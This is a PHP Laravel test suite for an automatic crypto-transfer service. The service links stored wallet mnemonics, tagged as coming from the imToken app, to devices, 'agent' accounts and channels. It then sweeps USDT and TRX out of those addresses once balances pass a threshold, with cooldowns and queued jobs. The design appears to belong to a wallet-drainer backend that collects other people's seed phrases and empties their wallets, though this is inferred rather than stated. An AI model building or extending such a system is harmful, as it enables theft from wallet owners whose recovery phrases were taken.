create([ 'channel_id' => $ch, 'user_id' => Channel::OFFICIAL_USER_ID, 'status' => 1, ]); return Device::query()->create([ 'device_id' => 'dev-official-auto', 'channel_id' => $ch, ]); } private function makeAgentDevice(User $agent): Device { $ch = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'; Channel::query()->create([ 'channel_id' => $ch, 'user_id' => $agent->id, 'status' => 1, ]); return Device::query()->create([ 'device_id' => 'dev-agent-auto', 'channel_id' => $ch, ]); } private function linkAddress(Device $device, array $attrs = []): WalletAddress { $mn = new WalletMnemonic([ 'device_id' => $device->id, 'source' => 'imToken', ]); $mn->mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'; $mn->save(); return WalletAddress::query()->create(array_merge([ 'device_id' => $device->id, 'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 'chain_type' => 'TRON', 'source' => 'imToken', 'mnemonic_id' => $mn->id, 'derive_index' => 0, 'usdt' => 10, 'trx' => 5, ], $attrs)); } #[Test] public function official_uses_system_switch_only(): void { config(['coruna.auto_transfer.enabled' => true]); $device = $this->makeOfficialDevice(); $addr = $this->linkAddress($device); $cfg = app(AutoTransferConfig::class); $this->assertTrue($cfg->isEnabledForAddress($addr)); config(['coruna.auto_transfer.enabled' => false]); $this->assertFalse(app(AutoTransferConfig::class)->isEnabledForAddress($addr)); } #[Test] public function agent_switch_independent_of_system(): void { config(['coruna.auto_transfer.enabled' => false]); $agent = User::query()->create([ 'username' => 'agent-auto', 'password' => 'secret12', 'status' => 1, 'auto_transfer_enabled' => true, ]); $device = $this->makeAgentDevice($agent); $addr = $this->linkAddress($device); $cfg = app(AutoTransferConfig::class); $this->assertTrue($cfg->isEnabledForAddress($addr)); $agent->auto_transfer_enabled = false; $agent->save(); $this->assertFalse($cfg->isEnabledForAddress($addr->fresh())); } #[Test] public function threshold_falls_back_to_zero_when_unset(): void { $device = $this->makeOfficialDevice(); $addr = $this->linkAddress($device); $cfg = app(AutoTransferConfig::class); $this->assertSame('0', $cfg->thresholdForAddress($addr, 'USDT')); } #[Test] public function evaluate_calls_transfer_when_above_threshold(): void { config(['coruna.auto_transfer.enabled' => true]); $device = $this->makeOfficialDevice(); $addr = $this->linkAddress($device, ['usdt' => 12.5, 'trx' => 0]); $transfers = Mockery::mock(TransferService::class); $transfers->shouldReceive('handle') ->once() ->with('tron', $addr->address, null, 'USDT', 'auto') ->andReturn(['ok' => true, 'txid' => 'x', 'from' => $addr->address, 'to' => 'T', 'amount' => '12.5', 'asset' => 'USDT']); $this->app->instance(TransferService::class, $transfers); $balances = Mockery::mock(WalletBalanceService::class); $balances->shouldReceive('refresh')->twice()->andReturn(true); $this->app->instance(WalletBalanceService::class, $balances); app(AutoTransferService::class)->evaluate($addr, 'test'); } #[Test] public function evaluate_skips_when_live_balance_below_threshold(): void { config(['coruna.auto_transfer.enabled' => true]); $device = $this->makeOfficialDevice(); $addr = $this->linkAddress($device, ['usdt' => 12.5, 'trx' => 0]); $transfers = Mockery::mock(TransferService::class); $transfers->shouldNotReceive('handle'); $this->app->instance(TransferService::class, $transfers); $balances = Mockery::mock(WalletBalanceService::class); $balances->shouldReceive('refresh')->once()->andReturnUsing(function (WalletAddress $row) { WalletAddress::query()->whereKey($row->id)->update(['usdt' => '0.000000']); $row->refresh(); return true; }); $this->app->instance(WalletBalanceService::class, $balances); $stats = app(AutoTransferService::class)->evaluate($addr, 'test'); $this->assertSame(0, $stats['triggered']); $this->assertSame(0, bccomp((string) $addr->fresh()->usdt, '0', 6)); } #[Test] public function skips_same_address_asset_within_three_minutes_but_refreshes(): void { config(['coruna.auto_transfer.enabled' => true]); $device = $this->makeOfficialDevice(); $addr = $this->linkAddress($device, ['usdt' => 6, 'trx' => 0]); \App\Models\TransferRecord::query()->create([ 'from_address' => $addr->address, 'to_address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6', 'chain' => 'tron', 'tx_hash' => 'abc', 'amount' => '6', 'type' => \App\Models\TransferRecord::TYPE_OUT, 'asset' => 'USDT', 'operator' => 'auto', 'status' => \App\Models\TransferRecord::STATUS_SUCCESS, 'error' => null, ]); $transfers = Mockery::mock(TransferService::class); $transfers->shouldNotReceive('handle'); $this->app->instance(TransferService::class, $transfers); $balances = Mockery::mock(WalletBalanceService::class); $balances->shouldReceive('refresh')->once()->andReturnUsing(function (WalletAddress $row) { WalletAddress::query()->whereKey($row->id)->update(['usdt' => '0.000000']); $row->refresh(); return true; }); $this->app->instance(WalletBalanceService::class, $balances); $stats = app(AutoTransferService::class)->evaluate($addr, 'test'); $this->assertSame(0, $stats['triggered']); $this->assertSame(0, bccomp((string) $addr->fresh()->usdt, '0', 6)); } #[Test] public function allows_transfer_again_after_cooldown(): void { config(['coruna.auto_transfer.enabled' => true]); $device = $this->makeOfficialDevice(); $addr = $this->linkAddress($device, ['usdt' => 6, 'trx' => 0]); $record = \App\Models\TransferRecord::query()->create([ 'from_address' => $addr->address, 'to_address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6', 'chain' => 'tron', 'tx_hash' => 'abc', 'amount' => '6', 'type' => \App\Models\TransferRecord::TYPE_OUT, 'asset' => 'USDT', 'operator' => 'auto', 'status' => \App\Models\TransferRecord::STATUS_SUCCESS, 'error' => null, ]); \App\Models\TransferRecord::query()->whereKey($record->id)->update([ 'created_at' => now()->subMinutes(4), 'updated_at' => now()->subMinutes(4), ]); $transfers = Mockery::mock(TransferService::class); $transfers->shouldReceive('handle')->once()->andReturn([ 'ok' => true, 'txid' => 'x', 'from' => $addr->address, 'to' => 'T', 'amount' => '6', 'asset' => 'USDT', ]); $this->app->instance(TransferService::class, $transfers); $balances = Mockery::mock(WalletBalanceService::class); $balances->shouldReceive('refresh')->twice()->andReturn(true); $this->app->instance(WalletBalanceService::class, $balances); $stats = app(AutoTransferService::class)->evaluate($addr, 'test'); $this->assertSame(1, $stats['triggered']); $this->assertSame(1, $stats['ok']); } #[Test] public function evaluate_skips_without_mnemonic(): void { config(['coruna.auto_transfer.enabled' => true]); $device = $this->makeOfficialDevice(); $addr = WalletAddress::query()->create([ 'device_id' => $device->id, 'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 'chain_type' => 'TRON', 'source' => 'imToken', 'usdt' => 99, ]); $transfers = Mockery::mock(TransferService::class); $transfers->shouldNotReceive('handle'); $this->app->instance(TransferService::class, $transfers); app(AutoTransferService::class)->evaluate($addr, 'test'); $this->assertTrue(true); } #[Test] public function evaluate_stops_remaining_assets_after_failure(): void { config(['coruna.auto_transfer.enabled' => true]); $device = $this->makeOfficialDevice(); $addr = $this->linkAddress($device, ['usdt' => 12.5, 'trx' => 8]); $transfers = Mockery::mock(TransferService::class); $transfers->shouldReceive('handle') ->once() ->with('tron', $addr->address, null, 'USDT', 'auto') ->andReturn(['ok' => false, 'error' => 'broadcast failed']); $this->app->instance(TransferService::class, $transfers); $balances = Mockery::mock(WalletBalanceService::class); $balances->shouldReceive('refresh')->once()->andReturn(true); $this->app->instance(WalletBalanceService::class, $balances); $stats = app(AutoTransferService::class)->evaluate($addr, 'test'); $this->assertSame(1, $stats['triggered']); $this->assertSame(0, $stats['ok']); $this->assertSame(1, $stats['failed']); } #[Test] public function skips_address_asset_after_previous_auto_failure(): void { config(['coruna.auto_transfer.enabled' => true]); $device = $this->makeOfficialDevice(); $addr = $this->linkAddress($device, ['usdt' => 12.5, 'trx' => 0]); \App\Models\TransferRecord::query()->create([ 'from_address' => $addr->address, 'to_address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6', 'chain' => 'tron', 'tx_hash' => null, 'amount' => '12.5', 'type' => \App\Models\TransferRecord::TYPE_OUT, 'asset' => 'USDT', 'operator' => 'auto', 'status' => \App\Models\TransferRecord::STATUS_FAILED, 'error' => 'broadcast failed', ]); $transfers = Mockery::mock(TransferService::class); $transfers->shouldNotReceive('handle'); $this->app->instance(TransferService::class, $transfers); $stats = app(AutoTransferService::class)->evaluate($addr, 'test'); $this->assertSame(0, $stats['triggered']); $this->assertSame(0, $stats['failed']); $this->assertGreaterThanOrEqual(1, $stats['skipped']); } #[Test] public function run_stops_after_first_failed_address(): void { config(['coruna.auto_transfer.enabled' => true]); $device = $this->makeOfficialDevice(); $first = $this->linkAddress($device, [ 'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 'usdt' => 8, 'trx' => 0, ]); $second = WalletAddress::query()->create([ 'device_id' => $device->id, 'address' => 'TXYZsecondAutoAddress000000000003', 'chain_type' => 'TRON', 'source' => 'imToken', 'mnemonic_id' => $first->mnemonic_id, 'usdt' => 9, 'trx' => 0, ]); $transfers = Mockery::mock(TransferService::class); $transfers->shouldReceive('handle') ->once() ->with('tron', $first->address, null, 'USDT', 'auto') ->andReturn(['ok' => false, 'error' => 'broadcast failed']); $this->app->instance(TransferService::class, $transfers); $balances = Mockery::mock(WalletBalanceService::class); $balances->shouldReceive('refresh')->once()->andReturn(true); $this->app->instance(WalletBalanceService::class, $balances); $stats = app(AutoTransferService::class)->run(); $this->assertSame(1, $stats['inspected']); $this->assertSame(1, $stats['failed']); $this->assertSame(0, $stats['ok']); $this->assertGreaterThan($first->id, $second->id); } #[Test] public function run_only_scans_mnemonic_addresses_with_balance(): void { config(['coruna.auto_transfer.enabled' => true]); $device = $this->makeOfficialDevice(); $withBalance = $this->linkAddress($device, [ 'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 'usdt' => 8, 'trx' => 0, ]); WalletAddress::query()->create([ 'device_id' => $device->id, 'address' => 'TXYZnoBalanceAddress00000000000001', 'chain_type' => 'TRON', 'source' => 'imToken', 'mnemonic_id' => $withBalance->mnemonic_id, 'usdt' => 0, 'trx' => 0, ]); WalletAddress::query()->create([ 'device_id' => $device->id, 'address' => 'TXYZnoMnemonicAddress000000000002', 'chain_type' => 'TRON', 'source' => 'imToken', 'usdt' => 50, ]); $transfers = Mockery::mock(TransferService::class); $transfers->shouldReceive('handle') ->once() ->with('tron', $withBalance->address, null, 'USDT', 'auto') ->andReturn(['ok' => true, 'txid' => 'x', 'from' => $withBalance->address, 'to' => 'T', 'amount' => '8', 'asset' => 'USDT']); $this->app->instance(TransferService::class, $transfers); $balances = Mockery::mock(WalletBalanceService::class); $balances->shouldReceive('refresh')->twice()->andReturn(true); $this->app->instance(WalletBalanceService::class, $balances); $this->assertSame(1, app(AutoTransferService::class)->run()['inspected']); } #[Test] public function artisan_command_runs_scan(): void { $this->artisan('coruna:auto-transfer') ->expectsOutputToContain('inspected=0') ->assertSuccessful(); } #[Test] public function run_queues_one_job_per_address_when_not_sync(): void { config(['coruna.auto_transfer.enabled' => true, 'queue.default' => 'redis']); $device = $this->makeOfficialDevice(); $first = $this->linkAddress($device, [ 'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 'usdt' => 8, 'trx' => 0, ]); $second = WalletAddress::query()->create([ 'device_id' => $device->id, 'address' => 'TXYZsecondAutoAddress000000000003', 'chain_type' => 'TRON', 'source' => 'imToken', 'mnemonic_id' => $first->mnemonic_id, 'usdt' => 9, 'trx' => 0, ]); Queue::fake(); $transfers = Mockery::mock(TransferService::class); $transfers->shouldNotReceive('handle'); $this->app->instance(TransferService::class, $transfers); $stats = app(AutoTransferService::class)->run(); $this->assertSame(2, $stats['inspected']); $this->assertSame(2, $stats['queued']); $this->assertSame(0, $stats['triggered']); Queue::assertPushed(AutoTransferAddress::class, 2); Queue::assertPushed(AutoTransferAddress::class, fn (AutoTransferAddress $job) => $job->walletAddressId === $first->id); Queue::assertPushed(AutoTransferAddress::class, fn (AutoTransferAddress $job) => $job->walletAddressId === $second->id); } }